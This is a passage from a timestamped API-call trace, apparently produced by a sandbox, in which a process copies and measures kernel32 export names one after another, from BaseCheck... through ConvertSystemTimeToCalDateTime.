lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0120.652] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0120.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0120.652] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0120.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0120.652] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0120.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0120.652] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0120.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0120.652] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0120.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0120.652] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0120.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0120.652] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0120.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0120.652] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0120.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0120.652] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0120.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0120.652] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0120.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0120.652] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0120.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0120.652] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0120.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0120.652] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0120.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0120.652] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0120.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0120.653] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0120.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0120.653] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0120.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0120.653] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0120.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0120.653] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0120.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0120.653] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0120.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0120.653] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0120.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0120.653] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0120.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0120.653] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0120.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0120.653] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0120.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0120.653] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0120.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0120.653] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0120.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0120.653] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0120.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0120.653] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0120.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0120.653] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0120.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0120.653] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0120.653] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0120.653] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0120.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0120.654] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0120.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0120.654] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0120.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0120.654] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0120.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0120.654] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0120.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0120.654] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0120.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0120.654] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0120.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0120.654] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0120.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0120.654] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0120.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0120.654] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0120.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0120.654] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0120.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0120.654] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0120.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0120.654] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0120.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0120.654] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0120.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0120.654] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0120.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0120.654] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0120.654] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0120.654] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0120.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0120.655] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0120.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0120.655] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0120.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0120.655] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0120.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0120.655] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0120.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0120.655] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0120.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0120.655] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0120.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0120.655] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0120.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0120.655] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0120.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0120.655] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0120.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0120.655] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0120.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0120.655] lstrlenA (lpString="BEEP") returned 4 [0120.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0120.655] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0120.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0120.655] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0120.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0120.655] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0120.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0120.655] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0120.655] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0120.655] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0120.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0120.656] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0120.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0120.656] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0120.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0120.656] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0120.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0120.656] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0120.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0120.656] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0120.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0120.656] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0120.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0120.656] lstrlenA (lpString="CANCELIO") returned 8 [0120.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0120.656] lstrlenA (lpString="CANCELIOEX") returned 10 [0120.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0120.656] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0120.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0120.656] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0120.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0120.656] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0120.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0120.656] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0120.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0120.656] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0120.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0120.656] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0120.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0120.656] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0120.656] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0120.656] lstrlenA (lpString="CHECKELEVATION") returned 14 [0120.657] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0120.657] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0120.657] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0120.657] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0120.657] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0120.657] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0120.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0120.698] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0120.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0120.698] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0120.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0120.698] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0120.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0120.698] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0120.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0120.698] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0120.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0120.698] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0120.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0120.698] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0120.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0120.698] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0120.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0120.698] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0120.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0120.698] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0120.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0120.699] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0120.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0120.699] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0120.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0120.699] lstrlenA (lpString="CLOSESTATE") returned 10 [0120.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0120.699] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0120.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0120.699] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0120.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0120.699] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0120.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0120.699] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0120.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0120.699] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0120.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0120.699] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0120.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0120.699] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0120.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0120.699] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0120.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0120.699] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0120.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0120.699] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0120.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0120.699] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0120.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0120.699] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0120.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0120.699] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0120.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0120.700] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0120.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0120.700] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0120.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0120.700] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0120.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0120.700] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0120.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0120.700] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0120.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0120.700] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0120.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0120.700] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0120.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0120.700] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0120.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0120.700] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0120.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0120.700] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0120.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") 